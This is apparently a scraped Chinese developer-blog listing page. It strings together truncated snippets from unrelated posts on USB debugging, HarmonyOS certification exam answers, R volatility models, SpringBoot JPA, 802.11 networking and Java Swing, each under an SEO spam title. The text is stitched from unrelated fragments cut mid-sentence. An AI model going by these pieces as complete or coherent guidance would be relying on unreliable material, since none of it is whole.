1、检查 USB 调试是否开启 2、检查是否有选择 文件 传输 选项 3、如果上述都做了还找不到,可以看看开发者选项中的【USB设置】,把模式改为 MIDI 模式...
HarmonyOS应用开发者-----高级认证试题及答案
HarmonyOS应用开发者高级认证试题及答案 试题会不定时刷新,本试题仅供大家学习参考 【判断题】 2/2 HarmonyOS应用可以兼容OpenHarmony生态 正确(True)【判断题】 2/2 所有使用@Component修饰的自定义组件都支持onPageShow,onBackPress和onPageHide生命周期函数。 正确(True…...
R语言随机波动模型SV:马尔可夫蒙特卡罗法MCMC、正则化广义矩估计和准最大似然估计上证指数收益时间序列...
全文链接:http://tecdat.cn/?p31162 最近我们被客户要求撰写关于SV模型的研究报告,包括一些图形和统计输出(点击文末“阅读原文”获取完整代码数据)。 相关视频 本文做SV模型,选取马尔可夫蒙特卡罗法(MCMC)、正则化广…...
高端的网站建设公司哪家好/发布项目信息的平台
针对 SpringBoot JPA sqlserver 这种生成的表没有注释的情况 ,通过代码更新注释方法整理如下: // SpringBoot JPA 可以直接引入 jdbcTemplate Bean Autowired private JdbcTemplate jdbcTemplate;private void setTableComment(String tableName, Str…...
建立个人博客网站/上海优化seo排名
//标题: 世纪末的星期 //曾有邪教称1999年12月31日是世界末日。当然该谣言已经不攻自破。 //还有人称今后的某个世纪末的12月31日,如果是星期一则会.... //有趣的是,任何一个世纪末的年份的12月31日都不可能是星期一!! //于是,“谣言制造商”…...
有限公司技术支持 东莞网站建设/购买域名的网站
我们知道总线型局域网在MAC层的标准协议是CSMA/CD,即载波侦听多点接入/冲突检测(Carrier Sense Multiple Access with Collision Detection)。但由于无线产品的适配器不易检测信道是否存在冲突,因此802.11全新定义了一种新的协议&…...
wordpress readme/全国防疫大数据平台
那Swing的话就是那么样哪。如JTextField jtfnew JTextField(40);你要从文本框提取数据就用jtf.getText()但的确获得的是String型的,java中Interger类封装了一个静态方法parseInt(String s)就用Interger.parseInt(jtf.getText.trim())//这个就可以获取文本框的内容,t…...
dw网页制作知识点/郑州seo管理
解决异常情况,并发情况会导致异常,每次创建一个新上下文就解决了 InvalidOperationException: A second operation was started on this context before a previous operation completed. This is usually caused by different threads concurrently using the same instance…...
如何做网站需求/北京云无限优化
1、电子烟组装机组要针对电子烟产品的配件进行生产、组装,节省人力成本,提高产品品质,提高生产效率。 2、设备的生产过程,振动盘自动上料铆钉,发热丝,剪棉,硅胶片,钢管,外…...